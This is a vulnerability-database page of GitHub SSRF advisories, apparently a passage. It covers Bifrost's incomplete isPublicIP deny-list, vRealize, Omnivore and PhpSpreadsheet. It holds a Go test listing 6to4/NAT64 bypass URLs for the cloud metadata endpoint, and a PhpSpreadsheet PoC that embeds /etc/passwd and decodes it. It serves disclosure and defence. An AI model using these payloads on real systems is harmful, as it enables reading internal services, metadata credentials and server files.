Vulnerability-Lookup

GHSA-W98G-5W9P-P3RC

Vulnerability from github – Published: 2026-08-28 18:26 – Updated: 2026-08-28 18:26

Summary

Bifrost's SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL

Details

Summary

isPublicIP in core/providers/utils/fetch.go — the SSRF deny-list that gates FetchAndEncodeURL — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (100.64.0.0/10, RFC 6598), IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48), and deprecated IPv6 site-local (fec0::/10) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of 169.254.169.254.

The rest of the fetch hardening is correct and is not part of this report: the dial-time LookupIP + pin to ips[0] closes the DNS-rebinding TOCTOU, CheckRedirect re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in isPublicIP.

Affected component

File: core/providers/utils/fetch.go, function isPublicIP (lines 107-118), reached only through FetchAndEncodeURL (line 28).
Go module: github.com/maximhq/bifrost/core
Version: confirmed on the current dev HEAD f415c144678bd4b411d74a1c1f85f18652833224 (core/version = 1.5.15).

Vulnerable code

func isPublicIP(ip net.IP) bool {
    addr, ok := netip.AddrFromSlice(ip)
    if !ok {
        return false
    }
    addr = addr.Unmap()
    if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||
        addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {
        return false
    }
    return true
}

addr.IsPrivate() covers only RFC 1918 + RFC 4193 (fc00::/7); it does not cover CGNAT 100.64.0.0/10. addr.Unmap() only collapses the ::ffff:0:0/96 IPv4-mapped form, so 6to4 (2002::/16) and NAT64 (64:ff9b::/96, 64:ff9b:1::/48) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. fec0::/10 (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.

Attack surface / who can trigger it

FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:

core/providers/bedrock/utils.go:1073 (document block.File.FileURL), :1187 (image URL via convertImageToBedrockSource)
core/providers/vertex/vertex.go:402 (document block.File.FileURL)

These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host — it performs no address filtering — so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.

Impact

Server-side request forgery from the gateway into internal address space that the deny-list intends to block:

CGNAT 100.64.0.0/10 — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.
6to4 2002:a9fe:a9fe:: and NAT64 64:ff9b::a9fe:a9fe — both embed 169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct 169.254.169.254 and ::ffff:169.254.169.254 forms are correctly blocked.
fec0::/10 — deprecated site-local, still routed on some networks.

CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.

Proof of concept

A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL — real http.Client, real Transport.DialContext, real isPublicIP — and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).

package utils

import (
    "context"
    "fmt"
    "strings"
    "testing"
    "time"
)

func TestSSRFGateDecision(t *testing.T) {
    cases := []struct{ name, url string }{
        {"CGNAT-100.64", "http://100.64.1.1:9/"},
        {"CGNAT-100.127", "http://100.127.255.254:9/"},
        {"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"},
        {"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"},
        {"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"},
        {"sitelocal-fec0", "http://[fec0::1]:9/"},
        // controls (must be rejected at the gate):
        {"CONTROL-direct-IMDS", "http://169.254.169.254:9/"},
        {"CONTROL-RFC1918", "http://10.0.0.1:9/"},
        {"CONTROL-loopback", "http://127.0.0.1:9/"},
        {"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"},
    }
    for _, c := range cases {
        ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
        _, _, err := FetchAndEncodeURL(ctx, c.url)
        cancel()
        gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address")
        fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err)
    }
}

Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):

=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===
target                 gateBlock  verbatim error / outcome
----------------------------------------------------------------------------------------------------
CGNAT-100.64           false      failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded
CGNAT-100.127          false      failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded
6to4-IMDS              false      failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF
NAT64-IMDS             false      failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded
NAT64-local-IMDS       false      failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded
sitelocal-fec0         false      failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF
CONTROL-direct-IMDS    true       failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254
CONTROL-RFC1918        true       failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1
CONTROL-loopback       true       failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1
CONTROL-mapped-IMDS    true       failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254

Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial — observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.

A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):

100.64.0.1             isPublicIP=true   (CGNAT — should be blocked)
100.127.255.254        isPublicIP=true   (CGNAT)
2002:a9fe:a9fe::       isPublicIP=true   (6to4 -> 169.254.169.254)
64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -> 169.254.169.254)
64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -> 169.254.169.254)
fec0::1                isPublicIP=true   (deprecated site-local)
169.254.169.254        isPublicIP=false  (direct IMDS — correctly blocked, control)
::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped — correctly blocked, control)
8.8.8.8                isPublicIP=true   (public — correctly allowed, control)

Honest scope note

The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.

References (canonical dimension precedents)

CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg IsPublicIP IPv6 6to4 / NAT64 / site-local bypass; same Go netip + Unmap gap.
GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (64:ff9b::/96) bypass; their fix adds isCarrierGradeNatAddress (CGNAT) + NAT64 handling.

Suggested fix

In isPublicIP, after Unmap():

Reject CGNAT: 100.64.0.0/10 for IPv4 (and the ::ffff:100.64.0.0/106 mapped form is already handled by Unmap).
For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (2002::/16 -> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.
Reject deprecated site-local fec0::/10.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/maximhq/bifrost/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:26:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`isPublicIP` in `core/providers/utils/fetch.go` \u2014 the SSRF deny-list that gates `FetchAndEncodeURL` \u2014 does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (`100.64.0.0/10`, RFC 6598), IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48`), and deprecated IPv6 site-local (`fec0::/10`) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach \u2014 including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of `169.254.169.254`.\n\nThe rest of the fetch hardening is correct and is **not** part of this report: the dial-time `LookupIP` + pin to `ips[0]` closes the DNS-rebinding TOCTOU, `CheckRedirect` re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in `isPublicIP`.\n\n## Affected component\n\n- File: `core/providers/utils/fetch.go`, function `isPublicIP` (lines 107-118), reached only through `FetchAndEncodeURL` (line 28).\n- Go module: `github.com/maximhq/bifrost/core`\n- Version: confirmed on the current `dev` HEAD `f415c144678bd4b411d74a1c1f85f18652833224` (`core/version` = `1.5.15`).\n\n## Vulnerable code\n\n```go\nfunc isPublicIP(ip net.IP) bool {\n\taddr, ok := netip.AddrFromSlice(ip)\n\tif !ok {\n\t\treturn false\n\t}\n\taddr = addr.Unmap()\n\tif addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() ||\n\t\taddr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() {\n\t\treturn false\n\t}\n\treturn true\n}\n```\n\n`addr.IsPrivate()` covers only RFC 1918 + RFC 4193 (`fc00::/7`); it does **not** cover CGNAT `100.64.0.0/10`. `addr.Unmap()` only collapses the `::ffff:0:0/96` IPv4-mapped form, so 6to4 (`2002::/16`) and NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. `fec0::/10` (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.\n\n## Attack surface / who can trigger it\n\n`FetchAndEncodeURL` is invoked from the multimodal request-handling path of two providers:\n\n- `core/providers/bedrock/utils.go:1073` (document `block.File.FileURL`), `:1187` (image URL via `convertImageToBedrockSource`)\n- `core/providers/vertex/vertex.go:402` (document `block.File.FileURL`)\n\nThese URLs come straight from the client\u0027s chat-completion request body (a remote image/document URL in a multimodal content block). `SanitizeImageURL` (`core/schemas/utils.go:180`) only checks the scheme and a non-empty host \u2014 it performs no address filtering \u2014 so `isPublicIP` is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.\n\n## Impact\n\nServer-side request forgery from the gateway into internal address space that the deny-list intends to block:\n\n- **CGNAT `100.64.0.0/10`** \u2014 reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions.\n- **6to4 `2002:a9fe:a9fe::` and NAT64 `64:ff9b::a9fe:a9fe`** \u2014 both embed `169.254.169.254`, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct `169.254.169.254` and `::ffff:169.254.169.254` forms are correctly blocked.\n- **`fec0::/10`** \u2014 deprecated site-local, still routed on some networks.\n\nCWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.\n\n## Proof of concept\n\nA test placed in-package (`core/providers/utils/`) drives the **real** `FetchAndEncodeURL` \u2014 real `http.Client`, real `Transport.DialContext`, real `isPublicIP` \u2014 and classifies each target by whether `isPublicIP` let it past the gate. A `blocked fetch to non-public address` error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).\n\n```go\npackage utils\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestSSRFGateDecision(t *testing.T) {\n\tcases := []struct{ name, url string }{\n\t\t{\"CGNAT-100.64\", \"http://100.64.1.1:9/\"},\n\t\t{\"CGNAT-100.127\", \"http://100.127.255.254:9/\"},\n\t\t{\"6to4-IMDS\", \"http://[2002:a9fe:a9fe::]:9/\"},\n\t\t{\"NAT64-IMDS\", \"http://[64:ff9b::a9fe:a9fe]:9/\"},\n\t\t{\"NAT64-local-IMDS\", \"http://[64:ff9b:1::a9fe:a9fe]:9/\"},\n\t\t{\"sitelocal-fec0\", \"http://[fec0::1]:9/\"},\n\t\t// controls (must be rejected at the gate):\n\t\t{\"CONTROL-direct-IMDS\", \"http://169.254.169.254:9/\"},\n\t\t{\"CONTROL-RFC1918\", \"http://10.0.0.1:9/\"},\n\t\t{\"CONTROL-loopback\", \"http://127.0.0.1:9/\"},\n\t\t{\"CONTROL-mapped-IMDS\", \"http://[::ffff:169.254.169.254]:9/\"},\n\t}\n\tfor _, c := range cases {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)\n\t\t_, _, err := FetchAndEncodeURL(ctx, c.url)\n\t\tcancel()\n\t\tgateBlocked := err != nil \u0026\u0026 strings.Contains(err.Error(), \"blocked fetch to non-public address\")\n\t\tfmt.Printf(\"%-22s gateBlock=%-6v %v\\n\", c.name, gateBlocked, err)\n\t}\n}\n```\n\nVerbatim output (`go test ./providers/utils/ -run TestSSRFGateDecision -v` against HEAD `f415c14`, Go 1.26.1):\n\n```\n=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) ===\ntarget                 gateBlock  verbatim error / outcome\n----------------------------------------------------------------------------------------------------\nCGNAT-100.64           false      failed to fetch from \"http://100.64.1.1:9/\": Get \"http://100.64.1.1:9/\": context deadline exceeded\nCGNAT-100.127          false      failed to fetch from \"http://100.127.255.254:9/\": Get \"http://100.127.255.254:9/\": context deadline exceeded\n6to4-IMDS              false      failed to fetch from \"http://[2002:a9fe:a9fe::]:9/\": Get \"http://[2002:a9fe:a9fe::]:9/\": EOF\nNAT64-IMDS             false      failed to fetch from \"http://[64:ff9b::a9fe:a9fe]:9/\": Get \"http://[64:ff9b::a9fe:a9fe]:9/\": context deadline exceeded\nNAT64-local-IMDS       false      failed to fetch from \"http://[64:ff9b:1::a9fe:a9fe]:9/\": Get \"http://[64:ff9b:1::a9fe:a9fe]:9/\": context deadline exceeded\nsitelocal-fec0         false      failed to fetch from \"http://[fec0::1]:9/\": Get \"http://[fec0::1]:9/\": EOF\nCONTROL-direct-IMDS    true       failed to fetch from \"http://169.254.169.254:9/\": Get \"http://169.254.169.254:9/\": blocked fetch to non-public address 169.254.169.254\nCONTROL-RFC1918        true       failed to fetch from \"http://10.0.0.1:9/\": Get \"http://10.0.0.1:9/\": blocked fetch to non-public address 10.0.0.1\nCONTROL-loopback       true       failed to fetch from \"http://127.0.0.1:9/\": Get \"http://127.0.0.1:9/\": blocked fetch to non-public address 127.0.0.1\nCONTROL-mapped-IMDS    true       failed to fetch from \"http://[::ffff:169.254.169.254]:9/\": Get \"http://[::ffff:169.254.169.254]:9/\": blocked fetch to non-public address 169.254.169.254\n```\n\nReading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected **at the gate** with `blocked fetch to non-public address` and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes `isPublicIP` and proceeds to the network dial \u2014 observed as `context deadline exceeded` or `EOF` (a real connection attempt), never `blocked fetch to non-public address`. The `blocked` vs `dial-attempted` split isolates the `isPublicIP` classification defect precisely.\n\nA standalone re-check of the verbatim `isPublicIP` body confirms the classification directly (Go 1.26.1):\n\n```\n100.64.0.1             isPublicIP=true   (CGNAT \u2014 should be blocked)\n100.127.255.254        isPublicIP=true   (CGNAT)\n2002:a9fe:a9fe::       isPublicIP=true   (6to4 -\u003e 169.254.169.254)\n64:ff9b::a9fe:a9fe     isPublicIP=true   (NAT64 -\u003e 169.254.169.254)\n64:ff9b:1::a9fe:a9fe   isPublicIP=true   (NAT64 local-use -\u003e 169.254.169.254)\nfec0::1                isPublicIP=true   (deprecated site-local)\n169.254.169.254        isPublicIP=false  (direct IMDS \u2014 correctly blocked, control)\n::ffff:169.254.169.254 isPublicIP=false  (IPv4-mapped \u2014 correctly blocked, control)\n8.8.8.8                isPublicIP=true   (public \u2014 correctly allowed, control)\n```\n\n### Honest scope note\n\nThe test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here \u2014 the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment\u0027s internal network to use `100.64.0.0/10`. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: `isPublicIP` permits the forbidden ranges on every host.\n\n## References (canonical dimension precedents)\n\n- CVE-2026-45741 / GHSA-86m8-88fq-xfxp \u2014 Gotenberg `IsPublicIP` IPv6 6to4 / NAT64 / site-local bypass; same Go `netip` + `Unmap` gap.\n- GHSA-5jh9-2h63-pw4q \u2014 CC-Tweaked NAT64 (`64:ff9b::/96`) bypass; their fix adds `isCarrierGradeNatAddress` (CGNAT) + NAT64 handling.\n\n## Suggested fix\n\nIn `isPublicIP`, after `Unmap()`:\n\n1. Reject CGNAT: `100.64.0.0/10` for IPv4 (and the `::ffff:100.64.0.0/106` mapped form is already handled by `Unmap`).\n2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (`2002::/16` -\u003e bytes 2-5), NAT64 well-known (`64:ff9b::/96`) and local-use (`64:ff9b:1::/48`) -\u003e low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4.\n3. Reject deprecated site-local `fec0::/10`.",
  "id": "GHSA-w98g-5w9p-p3rc",
  "modified": "2026-08-28T18:26:02Z",
  "published": "2026-08-28T18:26:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/maximhq/bifrost/security/advisories/GHSA-w98g-5w9p-p3rc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maximhq/bifrost/pull/4092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maximhq/bifrost/commit/54ec431fc5255ff42c36420d88549477e0b33d89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/maximhq/bifrost"
    },
    {
      "type": "WEB",
      "url": "https://github.com/maximhq/bifrost/releases/tag/core/v1.5.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bifrost\u0027s SSRF deny-list is incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL"
}

GHSA-W9VR-RGWG-C56X

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12

Details

The vRealize Operations Manager API (8.x prior to 8.5) contains a Server Side Request Forgery in an end point. An unauthenticated malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack leading to information disclosure.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-22026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-30T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "The vRealize Operations Manager API (8.x prior to 8.5) contains a Server Side Request Forgery in an end point. An unauthenticated malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack leading to information disclosure.",
  "id": "GHSA-w9vr-rgwg-c56x",
  "modified": "2022-05-24T19:12:29Z",
  "published": "2022-05-24T19:12:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22026"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2021-0018.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W9WC-VX4J-8XWG

Vulnerability from github – Published: 2026-08-20 12:31 – Updated: 2026-08-20 12:31

Details

The scanFeedsResolver in packages/api/src/resolvers/subscriptions/index.ts passes the caller-supplied url straight to axios.get(url, rssParserConfig()) with no address validation. The same file guards the subscribe path with validateUrl(), which rejects private and reserved ranges through the private-ip library, and createPageSaveRequest applies the same check, so the omission is specific to this resolver. An authenticated user can direct the server to request arbitrary internal endpoints. The response is parsed as a feed or as HTML and the resolver returns the resulting url, title, description and type fields, so disclosure is limited to feed-shaped metadata and to link elements advertising RSS or Atom feeds; requests that do not parse still distinguish reachable ports from unreachable ones through the resulting error.

Severity

5.0 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-77066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T11:16:22Z",
    "severity": "MODERATE"
  },
  "details": "The scanFeedsResolver in packages/api/src/resolvers/subscriptions/index.ts passes the caller-supplied url straight to axios.get(url, rssParserConfig()) with no address validation. The same file guards the subscribe path with validateUrl(), which rejects private and reserved ranges through the private-ip library, and createPageSaveRequest applies the same check, so the omission is specific to this resolver. An authenticated user can direct the server to request arbitrary internal endpoints. The response is parsed as a feed or as HTML and the resolver returns the resulting url, title, description and type fields, so disclosure is limited to feed-shaped metadata and to link elements advertising RSS or Atom feeds; requests that do not parse still distinguish reachable ports from unreachable ones through the resulting error.",
  "id": "GHSA-w9wc-vx4j-8xwg",
  "modified": "2026-08-20T12:31:22Z",
  "published": "2026-08-20T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnivore-app/omnivore/issues/4647"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnivore-app/omnivore/commit/c4d7d8562e6b9aabb1d8e4dabca268e314baa43a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnivore-app/omnivore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omnivore-app/omnivore/blob/0d66408746788e07cec43928581b2567308ab575/packages/api/src/resolvers/subscriptions/index.ts#L445"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/omnivore-server-side-request-forgery-via-the-scanfeeds-graphql-query"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W9XV-QF98-CCQ4

Vulnerability from github – Published: 2024-10-07 15:58 – Updated: 2025-03-06 18:13

Summary

PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

Details

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />

or

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';

PoC

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

Add this file in the same directory: book.xlsx

Run with: php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

6.0 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-07T15:58:06Z",
    "nvd_published_at": "2024-10-07T21:15:17Z",
    "severity": "MODERATE"
  },
